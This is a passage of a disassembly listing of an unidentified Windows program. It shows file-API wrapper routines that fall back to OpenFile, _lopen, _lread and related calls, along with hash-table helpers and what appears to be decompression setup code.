		mov	[ebp+var_4], eax


loc_4DB554:				; CODE XREF: sub_4DB51C+1Ej
		mov	eax, [ebp+var_4]
		leave
		retn	14h
sub_4DB51C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB55B	proc near		; CODE XREF: sub_409140+69p
					; DATA XREF: _1:off_4220F0o ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4CFECD
		test	eax, eax
		jnz	short loc_4DB57B
		push	[ebp+arg_0]
		call	ds:dword_4E17A0	; UnmapViewOfFile
		mov	[ebp+var_4], eax


loc_4DB57B:				; CODE XREF: sub_4DB55B+12j
		mov	eax, [ebp+var_4]
		leave
		retn	4
sub_4DB55B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB582	proc near		; DATA XREF: _6:004E1328o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_4D0346
		test	eax, eax
		jz	short loc_4DB610
		cmp	[ebp+arg_4], 0
		jz	short loc_4DB60B
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		cmp	eax, 88h
		jnz	short loc_4DB60B
		mov	eax, [ebp+arg_4]
		mov	byte ptr [eax+1], 1
		mov	eax, [ebp+arg_4]
		and	word ptr [eax+2], 0
		mov	edi, [ebp+arg_0]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], 7Fh
		jnb	short loc_4DB5E0
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		jmp	short loc_4DB5E7
; ---------------------------------------------------------------------------


loc_4DB5E0:				; CODE XREF: sub_4DB582+54j
		mov	[ebp+var_10], 7Fh


loc_4DB5E7:				; CODE XREF: sub_4DB582+5Cj
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		add	edi, 8
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+87h], 0


loc_4DB60B:				; CODE XREF: sub_4DB582+22j
					; sub_4DB582+2Fj
		mov	eax, [ebp+var_4]
		jmp	short loc_4DB630
; ---------------------------------------------------------------------------


loc_4DB610:				; CODE XREF: sub_4DB582+1Cj
		push	offset dword_4DE5B4
		push	offset aOpenfile ; "OpenFile"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]


loc_4DB630:				; CODE XREF: sub_4DB582+8Cj
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4DB582	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB636	proc near		; DATA XREF: _6:004E1330o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	sub_4D0346
		test	eax, eax
		jz	short loc_4DB656
		mov	eax, [ebp+var_4]
		jmp	short locret_4DB673
; ---------------------------------------------------------------------------


loc_4DB656:				; CODE XREF: sub_4DB636+19j
		push	offset dword_4DE5B4
		push	offset a_lopen	; "_lopen"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]

locret_4DB673:				; CODE XREF: sub_4DB636+1Ej
		leave
		retn	8
sub_4DB636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB677	proc near		; DATA XREF: _6:004E1338o

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		movzx	eax, ds:byte_4E60E4
		and	eax, 1
		test	eax, eax
		jnz	short loc_4DB6AB
		mov	al, ds:byte_4E60E4
		or	al, 1
		mov	ds:byte_4E60E4,	al
		push	offset dword_4DE5B4
		push	offset a_lclose	; "_lclose"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	ds:dword_4E60E0, eax


loc_4DB6AB:				; CODE XREF: sub_4DB677+10j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_4D0741
		test	eax, eax
		jnz	short loc_4DB6C6
		push	[ebp+arg_0]
		call	ds:dword_4E60E0
		jmp	short locret_4DB6C8
; ---------------------------------------------------------------------------


loc_4DB6C6:				; CODE XREF: sub_4DB677+42j
		xor	eax, eax

locret_4DB6C8:				; CODE XREF: sub_4DB677+4Dj
		leave
		retn	4
sub_4DB677	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB6CC	proc near		; DATA XREF: _6:004E1348o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D0421
		test	eax, eax
		jnz	short loc_4DB70A
		push	offset dword_4DE5B4
		push	offset a_llseek	; "_llseek"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_8]
		mov	[ebp+var_4], eax


loc_4DB70A:				; CODE XREF: sub_4DB6CC+19j
		mov	eax, [ebp+var_4]
		leave
		retn	0Ch
sub_4DB6CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB711	proc near		; DATA XREF: _6:004E1340o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4D1177
		test	eax, eax
		jnz	short loc_4DB763
		push	offset dword_4DE5B4
		push	offset a_lread	; "_lread"
		call	sub_4D9C22
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	[ebp+var_C]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4DB763
		mov	[ebp+var_4], 1


loc_4DB763:				; CODE XREF: sub_4DB711+20j
					; sub_4DB711+49j
		cmp	[ebp+var_4], 0
		jnz	short loc_4DB76F
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	short loc_4DB775
; ---------------------------------------------------------------------------


loc_4DB76F:				; CODE XREF: sub_4DB711+56j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax


loc_4DB775:				; CODE XREF: sub_4DB711+5Cj
		mov	eax, [ebp+var_10]
		leave
		retn	0Ch
sub_4DB711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB77C	proc near		; CODE XREF: sub_4D2DD0+6C7p
					; sub_4D2DD0+70Dp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+0Ch], 0
		mov	eax, [ebp+arg_0]
		shl	eax, 2
		push	eax
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4E174C	; InitializeCriticalSection
		mov	eax, [ebp+var_8]
		leave
		retn	4
sub_4DB77C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB7C0	proc near		; CODE XREF: sub_4DB82A+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_14], ecx
		and	[ebp+var_4], 0
		jmp	short loc_4DB7D6
; ---------------------------------------------------------------------------


loc_4DB7CF:				; CODE XREF: sub_4DB7C0:loc_4DB824j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4DB7D6:				; CODE XREF: sub_4DB7C0+Dj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jnb	short locret_4DB826
		mov	eax, [ebp+var_14]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax


loc_4DB7EF:				; CODE XREF: sub_4DB7C0+62j
		cmp	[ebp+var_8], 0
		jz	short loc_4DB824
		cmp	[ebp+arg_0], 0
		jz	short loc_4DB804
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		call	[ebp+arg_0]
		pop	ecx


loc_4DB804:				; CODE XREF: sub_4DB7C0+39j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_10], eax
		push	[ebp+var_10]
		call	sub_4D83DD
		pop	ecx
		jmp	short loc_4DB7EF
; ---------------------------------------------------------------------------


loc_4DB824:				; CODE XREF: sub_4DB7C0+33j
		jmp	short loc_4DB7CF
; ---------------------------------------------------------------------------

locret_4DB826:				; CODE XREF: sub_4DB7C0+1Ej
		leave
		retn	4
sub_4DB7C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB82A	proc near		; CODE XREF: sub_4D5070+51p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		push	0
		mov	ecx, [ebp+var_8]
		call	sub_4DB7C0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp+var_8]
		add	eax, 10h
		push	eax
		call	ds:dword_4E1750	; RtlDeleteCriticalSection
		leave
		retn
sub_4DB82A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB85D	proc near		; DATA XREF: sub_4DB871+Co
					; sub_4DB8E0+Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	eax, [ebp+arg_4]
		setnz	cl
		mov	eax, ecx
		pop	ebp
		retn	8
sub_4DB85D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB871	proc near		; CODE XREF: sub_4CF036+94p
					; sub_4CF6DE+63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_4DBAFE
		push	offset sub_4DB85D
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_4DB891
		leave
		retn	4
sub_4DB871	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB891	proc near		; CODE XREF: sub_4D58CF+20p
					; sub_4DB871+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+var_8]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	eax, [ecx+eax*4]
		mov	[ebp+var_4], eax


loc_4DB8B2:				; CODE XREF: sub_4DB891+47j
		cmp	[ebp+var_4], 0
		jz	short loc_4DB8DA
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_4DB8CF
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		jmp	short locret_4DB8DC
; ---------------------------------------------------------------------------


loc_4DB8CF:				; CODE XREF: sub_4DB891+35j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_4DB8B2
; ---------------------------------------------------------------------------


loc_4DB8DA:				; CODE XREF: sub_4DB891+25j
		xor	eax, eax

locret_4DB8DC:				; CODE XREF: sub_4DB891+3Cj
		leave
		retn	0Ch
sub_4DB891	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB8E0	proc near		; CODE XREF: sub_4CF818+93p
					; sub_4CFD24+106p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_4DBAFE
		push	offset sub_4DB85D
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_4DB900
		leave
		retn	4
sub_4DB8E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB900	proc near		; CODE XREF: sub_4D5FCD+F1p
					; sub_4DB8E0+17p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_18], ecx
		mov	eax, [ebp+var_18]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_8]
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_C]
		lea	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax


loc_4DB937:				; CODE XREF: sub_4DB900+86j
		cmp	[ebp+var_8], 0
		jz	short loc_4DB988
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+4]
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_4DB974
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	ecx, [ecx+8]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_14], eax
		push	[ebp+var_14]
		call	sub_4D83DD
		pop	ecx
		mov	eax, [ebp+var_10]
		jmp	short locret_4DB98A
; ---------------------------------------------------------------------------


loc_4DB974:				; CODE XREF: sub_4DB900+4Bj
		mov	eax, [ebp+var_8]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		mov	[ebp+var_8], eax
		jmp	short loc_4DB937
; ---------------------------------------------------------------------------


loc_4DB988:				; CODE XREF: sub_4DB900+3Bj
		xor	eax, eax

locret_4DB98A:				; CODE XREF: sub_4DB900+72j
		leave
		retn	0Ch
sub_4DB900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB98E	proc near		; CODE XREF: sub_4CC000+3Ep
					; sub_4D0216+D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		push	offset sub_4DBAFE
		push	offset sub_4DB85D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_4DB9B1
		leave
		retn	8
sub_4DB98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DB9B1	proc near		; CODE XREF: sub_4D5BD7+204p
					; sub_4DB98E+1Ap

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		call	[ebp+arg_C]
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	eax, [eax+ecx*4]
		mov	[ebp+var_4], eax


loc_4DB9DA:				; CODE XREF: sub_4DB9B1+52j
		cmp	[ebp+var_4], 0
		jz	short loc_4DBA05
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	[ebp+arg_8]
		test	eax, eax
		jnz	short loc_4DB9FA
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		jmp	short loc_4DBA62
; ---------------------------------------------------------------------------


loc_4DB9FA:				; CODE XREF: sub_4DB9B1+3Dj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_4DB9DA
; ---------------------------------------------------------------------------


loc_4DBA05:				; CODE XREF: sub_4DB9B1+2Dj
		push	0Ch
		call	sub_4D835A
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4DBA26
		xor	eax, eax
		mov	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		mov	eax, [ebp+var_C]
		mov	[ebp+var_14], eax
		jmp	short loc_4DBA2A
; ---------------------------------------------------------------------------


loc_4DBA26:				; CODE XREF: sub_4DB9B1+63j
		and	[ebp+var_14], 0


loc_4DBA2A:				; CODE XREF: sub_4DB9B1+73j
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_8]
		mov	eax, [eax+edx*4]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_10]
		mov	eax, [eax+8]
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[eax+ecx*4], edx


loc_4DBA62:				; CODE XREF: sub_4DB9B1+47j
		pop	edi
		leave
		retn	10h
sub_4DB9B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBA67	proc near		; CODE XREF: sub_4D46D0+6Fp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+var_4]
		and	dword ptr [eax+0Ch], 0
		leave
		retn
sub_4DBA67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBA7E	proc near		; CODE XREF: sub_4D46D0+82p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx


loc_4DBA85:				; CODE XREF: sub_4DBA7E+5Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+4]
		cmp	eax, [ecx]
		jb	short loc_4DBA96
		xor	al, al
		jmp	short locret_4DBAFA
; ---------------------------------------------------------------------------


loc_4DBA96:				; CODE XREF: sub_4DBA7E+12j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4DBAB6
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx+8]
		mov	edx, [ebp+var_4]
		mov	eax, [ecx+eax*4]
		mov	[edx+0Ch], eax
		jmp	short loc_4DBAC5
; ---------------------------------------------------------------------------


loc_4DBAB6:				; CODE XREF: sub_4DBA7E+1Fj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+var_4]
		mov	eax, [eax+8]
		mov	[ecx+0Ch], eax


loc_4DBAC5:				; CODE XREF: sub_4DBA7E+36j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_4DBADD
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		inc	eax
		mov	ecx, [ebp+var_4]
		mov	[ecx+4], eax
		jmp	short loc_4DBA85
; ---------------------------------------------------------------------------


loc_4DBADD:				; CODE XREF: sub_4DBA7E+4Ej
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_0]
		mov	eax, [eax+4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax+0Ch]
		mov	ecx, [ebp+arg_4]
		mov	eax, [eax]
		mov	[ecx], eax
		mov	al, 1

locret_4DBAFA:				; CODE XREF: sub_4DBA7E+16j
		leave
		retn	8
sub_4DBA7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBAFE	proc near		; DATA XREF: sub_4DB871+7o
					; sub_4DB8E0+7o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		pop	ebp
		retn
sub_4DBAFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBB0D	proc near		; DATA XREF: sub_4D58CF+Co
					; sub_4D5BD7+1EDo ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4DBB47
		jmp	short loc_4DBB2B
; ---------------------------------------------------------------------------


loc_4DBB24:				; CODE XREF: sub_4DBB0D+38j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4DBB2B:				; CODE XREF: sub_4DBB0D+15j
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4DBB47
		mov	eax, [ebp+var_8]
		shl	eax, 1
		mov	ecx, [ebp+var_4]
		movzx	ecx, byte ptr [ecx]
		or	eax, ecx
		mov	[ebp+var_8], eax
		jmp	short loc_4DBB24
; ---------------------------------------------------------------------------


loc_4DBB47:				; CODE XREF: sub_4DBB0D+13j
					; sub_4DBB0D+26j
		mov	eax, [ebp+var_8]
		xor	edx, edx
		div	[ebp+arg_4]
		mov	eax, edx
		leave
		retn
sub_4DBB0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBB53	proc near		; CODE XREF: sub_4DBBBF+7Dp
					; sub_4DC5B0+Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	eax, ebx
		push	edi
		jz	short loc_4DBB6A
		mov	ecx, [esi+3Ch]
		mov	[eax], ecx


loc_4DBB6A:				; CODE XREF: sub_4DBB53+10j
		mov	eax, [esi]
		mov	edi, [ebp+arg_4]
		cmp	eax, 4
		jz	short loc_4DBB79
		cmp	eax, 5
		jnz	short loc_4DBB84


loc_4DBB79:				; CODE XREF: sub_4DBB53+1Fj
		push	dword ptr [esi+0Ch]
		push	dword ptr [edi+28h]
		call	dword ptr [edi+24h]
		pop	ecx
		pop	ecx


loc_4DBB84:				; CODE XREF: sub_4DBB53+24j
		cmp	dword ptr [esi], 6
		jnz	short loc_4DBB94
		push	edi
		push	dword ptr [esi+4]
		call	sub_4DCBD8
		pop	ecx
		pop	ecx


loc_4DBB94:				; CODE XREF: sub_4DBB53+34j
		mov	eax, [esi+28h]
		mov	[esi], ebx
		mov	[esi+34h], eax
		mov	[esi+30h], eax
		mov	eax, [esi+38h]
		mov	[esi+1Ch], ebx
		cmp	eax, ebx
		mov	[esi+20h], ebx
		jz	short loc_4DBBBA
		push	ebx
		push	ebx
		push	ebx
		call	eax
		mov	[esi+3Ch], eax
		add	esp, 0Ch
		mov	[edi+30h], eax


loc_4DBBBA:				; CODE XREF: sub_4DBB53+57j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4DBB53	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBBBF	proc near		; CODE XREF: sub_4DCF41+AFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	40h
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_4DBC26
		push	5A0h
		push	8
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+24h], eax
		test	eax, eax
		jnz	short loc_4DBBFD
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		pop	ecx
		jmp	short loc_4DBC26
; ---------------------------------------------------------------------------


loc_4DBBFD:				; CODE XREF: sub_4DBBBF+31j
		mov	ebx, [ebp+arg_8]
		push	ebx
		push	1
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[edi+28h], eax
		test	eax, eax
		jnz	short loc_4DBC2A
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 10h


loc_4DBC26:				; CODE XREF: sub_4DBBBF+1Aj
					; sub_4DBBBF+3Cj
		xor	eax, eax
		jmp	short loc_4DBC46
; ---------------------------------------------------------------------------


loc_4DBC2A:				; CODE XREF: sub_4DBBBF+52j
		and	dword ptr [edi], 0
		add	eax, ebx
		mov	[edi+2Ch], eax
		mov	eax, [ebp+arg_4]
		push	0
		push	esi
		push	edi
		mov	[edi+38h], eax
		call	sub_4DBB53
		add	esp, 0Ch
		mov	eax, edi


loc_4DBC46:				; CODE XREF: sub_4DBBBF+69j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4DBBBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DBC4B	proc near		; CODE XREF: sub_4DD043+11Bp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		mov	[ebp+var_10], ecx
		mov	ecx, [ebx+34h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		cmp	ecx, eax
		push	edi
		mov	[ebp+var_C], ecx
		jnb	short loc_4DBC83
		sub	eax, ecx
		dec	eax
		jmp	short loc_4DBC88
; ---------------------------------------------------------------------------


loc_4DBC83:				; CODE XREF: sub_4DBC4B+31j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx


loc_4DBC88:				; CODE XREF: sub_4DBC4B+36j
		mov	[ebp+var_14], eax


